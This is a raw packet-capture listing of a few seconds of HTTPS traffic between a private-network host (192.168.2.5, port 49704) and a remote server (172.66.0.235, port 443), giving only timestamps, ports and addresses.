Nov 23, 2024 13:37:51.244143963 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.244160891 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.244241953 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.244270086 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.244323015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.248441935 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.248502016 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.248509884 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.248533964 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.248585939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.250070095 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.250122070 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.250137091 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.250189066 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.252849102 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.252927065 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.252955914 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.258769989 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.258790016 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.258846998 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.258862019 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.264096975 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.264116049 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.264167070 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.264180899 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.264209032 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.270689011 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.270750999 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.270781994 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.270796061 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.270822048 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.271555901 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.271612883 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.271625996 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.271673918 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.273278952 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.273339033 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.277636051 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.277690887 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.277704954 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.277717113 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.277743101 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.277762890 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.283611059 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.283654928 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.283688068 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.283699989 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.283726931 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.283744097 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.286663055 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.433315039 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.433412075 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.433446884 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.433505058 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.433538914 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.439193010 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.439235926 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.439270020 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.439285040 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.439311028 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.440735102 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.440792084 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.440804958 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.440862894 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.441740990 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.441804886 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.447848082 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.447901011 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.447935104 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.447964907 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.447992086 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.453849077 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.453902960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.453919888 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.453946114 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.453974962 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.459883928 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.459950924 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.459978104 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.460000992 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.460043907 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.463887930 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.463948965 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.463978052 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.464014053 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.464040041 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.464065075 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.465554953 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.465620041 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.468157053 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.471663952 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.471721888 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.471780062 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.471780062 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.471801043 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.474246979 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.474308968 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.474323034 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.475230932 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.625647068 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.625708103 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.625762939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.625835896 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.625897884 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.625976086 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.631628036 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.631675005 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.631716967 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.631742954 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.631772041 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.631803989 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.632550955 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.632612944 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.634296894 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.634366989 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.635917902 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.635982990 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.641140938 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.641161919 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.641202927 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.641232014 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.641258001 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.647250891 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.647279024 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.647334099 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.647334099 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.647361994 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.660299063 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.660316944 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.660361052 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.660382032 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.660408974 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.660476923 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.660537004 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.660537958 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.660552979 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.660587072 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.660609961 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.664283991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.664304972 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.664360046 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.664390087 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.664413929 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.664963007 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.665024996 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.665040016 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.668972969 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.816000938 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.816025972 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.816096067 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.816154003 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.816188097 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.818789005 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.820316076 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.820372105 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.820380926 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.820405006 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.820439100 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.824681997 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.824733973 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.824744940 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.824769020 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.824807882 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.824807882 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.826396942 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.826452971 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.832391024 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.832411051 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.832447052 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.832469940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.832498074 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.837701082 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.837726116 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.837766886 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.837799072 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.837824106 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.844167948 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.844186068 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.844269037 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.844301939 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.848440886 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.848499060 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.848530054 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.848545074 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.848570108 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.848587036 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.849438906 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.849484921 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.853925943 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.854005098 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.854018927 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.854063034 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.859936953 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.859956980 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.860013008 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.860032082 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.860143900 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.007412910 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.007492065 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.012716055 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.012736082 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.012804985 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.012824059 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.012851000 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.017086983 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.017142057 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.017185926 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.017195940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.017220020 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.017240047 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.018779993 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.018845081 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.023150921 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.023191929 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.023214102 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.023226023 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.023252010 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.023272991 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.028475046 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.028502941 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.028539896 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.028549910 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.028578997 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.028599024 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.032850027 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.032906055 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.032955885 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.032963991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.032995939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.039227962 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.039247036 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.039284945 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.039294958 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.039331913 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.040221930 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.040268898 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.040277958 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.040319920 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.041840076 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.041891098 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.048532009 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.048551083 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.048623085 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.048634052 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.095455885 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.199356079 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.199378967 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.199501991 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.199520111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.199563980 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.204916954 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.204937935 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.205008030 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.205017090 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.205058098 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.210261106 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.210280895 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.210367918 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.210376978 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.210418940 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.216203928 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.216223001 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.216276884 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.216284990 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.216327906 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.222316027 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.222362041 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.222424030 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.222445011 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.222485065 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.227960110 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.227984905 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.228051901 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.228065968 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.228107929 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.234055042 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.234086990 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.234118938 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.234132051 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.234158039 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.234174967 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.236722946 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.236788034 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.236800909 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.242707014 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.242734909 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.242773056 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.242789030 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.242806911 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.282926083 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.393273115 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.393311024 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.393428087 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.393461943 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.393512011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.399277925 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.399301052 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.399378061 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.399388075 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.399431944 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.401200056 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.401262999 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.402631998 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.402700901 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.406965017 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.407023907 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.407047987 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.407056093 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.407072067 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.412298918 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.412322044 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.412372112 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.412380934 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.412414074 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.418253899 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.418277025 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.418334961 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.418346882 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.418379068 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.424047947 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.424067974 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.424108028 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.424117088 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.424145937 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.425679922 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.425741911 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.425750017 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.425791979 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.429989100 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.430033922 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.430052996 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.430061102 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.430099964 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.434330940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.434371948 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.434401989 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.434408903 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:52.434438944 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.434462070 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:52.585987091 CET	443	49704	172.66.0.235	192.168.2.5
